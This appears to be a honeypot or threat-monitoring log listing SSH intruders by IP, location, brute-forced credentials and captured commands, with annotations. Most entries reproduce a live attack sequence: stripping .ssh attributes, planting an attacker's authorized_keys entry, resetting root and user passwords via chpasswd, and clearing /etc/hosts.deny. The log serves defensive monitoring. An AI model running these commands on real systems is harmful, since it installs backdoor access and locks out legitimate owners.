$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_42 (197.248.207.139) — Nairobi, Kenya · 1 session · 20 cmds

2026-06-30 12:47 EDT · as ubuntu/ubuntu123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ubuntu123456\nVBdhi8VfXHsD\nVBdhi8VfXHsD"|passwd|bash

$ Enter new UNIX password:

$ echo "ubuntu123456\nVBdhi8VfXHsD\nVBdhi8VfXHsD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_11 (198.46.81.39) — Ashburn, United States · 5 sessions · 5 cmds

2026-06-30 08:02 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 yankee_root_12 (159.223.156.159) — North Bergen, United States · 1 session · 20 cmds

2026-06-30 12:31 EDT · as ubuntu/ubuntu123456

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ubuntu123456\n5Z03aipuQUt3\n5Z03aipuQUt3"|passwd|bash

$ Enter new UNIX password:

$ echo "ubuntu123456\n5Z03aipuQUt3\n5Z03aipuQUt3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 strudel_root_14 (3.126.14.250) — Frankfurt am Main, Germany · 3 sessions · 3 cmds

2026-06-30 05:36 EDT · as root/Jmx!.!, root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 rogue_root_47 (45.207.196.123) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-06-30 11:22 EDT · as testadmin/testadmin@123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "testadmin@123\n4hQeeiOKPiyf\n4hQeeiOKPiyf"|passwd|bash

$ Enter new UNIX password:

$ echo "testadmin@123\n4hQeeiOKPiyf\n4hQeeiOKPiyf\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 liberty_root_18 (199.250.214.127) — Los Angeles, United States · 2 sessions · 2 cmds

2026-06-30 07:50 EDT · as root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 phantom_root_49 (185.125.27.26) — Geneva, Switzerland · 2 sessions · 2 cmds

2026-06-30 05:59 EDT · as root/Jmx@05, root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 tea_root_2 (213.134.9.2) — Canary Wharf, United Kingdom · 2 sessions · 2 cmds

2026-06-30 05:42 EDT · as root/Jmx2026!!, root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 jade_root_15 (14.103.127.30) — Haidian, China · 1 session · 2 cmds

2026-06-30 09:03 EDT · as ubuntu/P@ssw0rd!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

🎭 ghost_root_5 (45.116.78.92) — Hong Kong, Hong Kong · 3 sessions · 58 cmds

2026-06-30 08:38 EDT · as ftp/ftp123, root/1qaz@Wsx, root/root#@!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "ftp123\n235v2W2nkxre\n235v2W2nkxre"|passwd|bash

$ Enter new UNIX password:

$ echo "ftp123\n235v2W2nkxre\n235v2W2nkxre\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:NY13SIyy30OJ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ echo "root:XsBX7hB5zhEu"|chpasswd|bash

🎭 ghost_root_41 (212.154.234.9) — Almaty, Kazakhstan · 3 sessions · 58 cmds

2026-06-30 08:43 EDT · as ftp/ftp123, root/1qaz@Wsx, root/root#@!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:Lwt6KgtqrlYM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:Ejq3ms7zw0O1"|chpasswd|bash

$ echo -e "ftp123\n6a5kjftDvwqZ\n6a5kjftDvwqZ"|passwd|bash

$ Enter new UNIX password:

$ echo "ftp123\n6a5kjftDvwqZ\n6a5kjftDvwqZ\n"|passwd

🎭 toucan_root_10 (177.128.224.122) — Sete Lagoas, Brazil · 1 session · 19 cmds

2026-06-30 08:48 EDT · as root/1qaz@Wsx

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:8sorqetZG2VX"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bistro_root_2 (144.91.72.102) — Lauterbourg, France · 3 sessions · 58 cmds

2026-06-30 08:36 EDT · as ftp/ftp123, root/1qaz@Wsx, root/root#@!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:XUFDFSVoVCD2"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:V1C3H4I0wngg"|chpasswd|bash

$ echo -e "ftp123\nEORLeDjskuKv\nEORLeDjskuKv"|passwd|bash

$ Enter new UNIX password:

$ echo "ftp123\nEORLeDjskuKv\nEORLeDjskuKv\n"|passwd

🎭 autobahn_root_9 (176.9.30.133) — Falkenstein, Germany · 1 session · 1 cmd

2026-06-30 06:28 EDT · as root/blackcat

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 rogue_root_48 (160.191.77.185) — Singapore, Singapore · 2 sessions · 38 cmds

2026-06-30 06:10 EDT · as root/123456Ai, root/test123321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:fyoBYUZbY0RX"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:VteZrfqwLLkB"|chpasswd|bash

🎭 stein_root_9 (81.88.34.90) — Dortmund, Germany · 1 session · 1 cmd

2026-06-30 06:19 EDT · as ubuntu/%S1app321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 ramen_root_6 (43.128.232.117) — Tokyo, Japan · 2 sessions · 38 cmds

2026-06-30 06:12 EDT · as root/0okm(IJN, root/rootpassword2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:AkA5jG61ihVS"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:VrAKvFmhmQYr"|chpasswd|bash

🎭 specter_root_38 (103.165.206.238) — Jakarta, Indonesia · 1 session · 19 cmds

2026-06-30 06:14 EDT · as root/rootpassword2024

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:J0Tz0Nsv2odd"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_39 (43.163.98.17) — Singapore, Singapore · 2 sessions · 38 cmds

2026-06-30 06:12 EDT · as root/123456Ai, root/test123321

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:HO3SdL3ITTRN"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:VrAKvFmhmQYr"|chpasswd|bash

🎭 autobahn_root_10 (207.154.230.149) — Frankfurt am Main, Germany · 2 sessions · 39 cmds

2026-06-30 06:10 EDT · as root/Jack@123, test/teste

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "teste\nJGmZ3GlD5ZYU\nJGmZ3GlD5ZYU"|passwd|bash

$ Enter new UNIX password:

$ echo "teste\nJGmZ3GlD5ZYU\nJGmZ3GlD5ZYU\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:IpqDZ8kZxy5L"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 scone_root (57.128.182.5) — Covent Garden, United Kingdom · 1 session · 20 cmds

2026-06-30 06:13 EDT · as admin/won

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

